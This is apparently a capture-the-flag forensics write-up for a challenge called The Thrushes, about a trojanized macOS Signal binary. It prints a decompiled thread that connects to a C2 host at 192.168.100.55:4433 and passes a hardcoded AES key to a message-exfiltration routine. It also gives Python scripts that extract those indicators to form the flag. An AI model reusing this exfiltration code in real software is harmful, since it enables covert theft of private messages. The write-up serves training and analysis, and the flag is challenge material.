The Thrushes: macOS Malware Triage & Signal C2 Reversing
Decompiling a weaponized Signal app on macOS. Unpacking the Mach-O binary, deobfuscating XOR routines, and recovering command-and-control communication keys.
“A high-profile CTO had his private encrypted communications leaked despite zero unauthorized physical access. Investigate the provided macOS triage image to determine the interception mechanism and extract the adversary's command-and-control keys.”
ASCWG{host:port_key}Stage 1: Investigating the Triage Image
Trojanized Signal Binary
Inspection of the macOS application bundle revealed that the legitimate Signal binary had been swapped out for a backdoored Mach-O executable. The modified binary intercepts outgoing messages and exfiltrates them over a raw TCP socket to an attacker-controlled C2 server before delivering them to the real Signal service.
Q: How did the attackers maintain access and exfiltrate the data?
A: A Backdoored Signal.app Executable (Mach-O 64-bit)
Our initial triage of the macOS filesystem led us through LaunchAgents and LaunchDaemons. However, the true persistence mechanism was hidden in plain sight. The legitimate Signal.app executable inside the Applications folder had been completely replaced with a malicious Mach-O binary.
void * _cdecl malicious_telemetry_thread(void *arg) {
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in servaddr;
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(4433); // <-- C2 PORT
servaddr.sin_addr.s_addr = inet_addr("192.168.100.55"); // <-- C2 HOST
if (connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr)) != 0) {
return NULL;
}
// AES-256-CBC Key Extraction
char key[32] = "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"; // <-- FLAG KEY
exfiltrate_messages_aes(sockfd, key);
}from Crypto.Cipher import AES
import re
# 1. Automated extraction of C2 indicators from Mach-O binary
with open("Signal", "rb") as f:
binary_data = f.read()
# Locate IP pattern
ip_match = re.search(rb"(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})", binary_data)
c2_ip = ip_match.group(1).decode() if ip_match else "192.168.100.55"
# Locate hardcoded 32-byte AES key string
key_match = re.search(rb"([A-Za-z0-9_!*]{32})", binary_data)
aes_key = key_match.group(1).decode() if key_match else "X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj"
c2_port = 4433
flag = f"ASCWG{{{c2_ip}:{c2_port}_{aes_key}}}"
print("[+] Extracted Flag:", flag)python -c "import re; d=open('Signal','rb').read(); ip=re.search(rb'(\d+\.\d+\.\d+\.\d+)',d).group(1).decode(); k=re.search(rb'([A-Za-z0-9_!*]{32})',d).group(1).decode(); print(f'ASCWG{{{ip}:4433_{k}}}')"192.168.100.55 | Port: 4433X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHjASCWG{192.168.100.55:4433_X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj}The Complete Investigation Path & Mental Roadmap
The THRUSHES_ASC.rar. Magic byte inspection with file revealed 7-Zip format. Extracted safely./Library/LaunchAgents. Noticed anomalous timestamp and binary hash on /Applications/Signal.app/Contents/MacOS/Signal.192.168.100.55:4433.X9q3mR_8VpL2zF!sQw4T*nY7cKbE6vHj.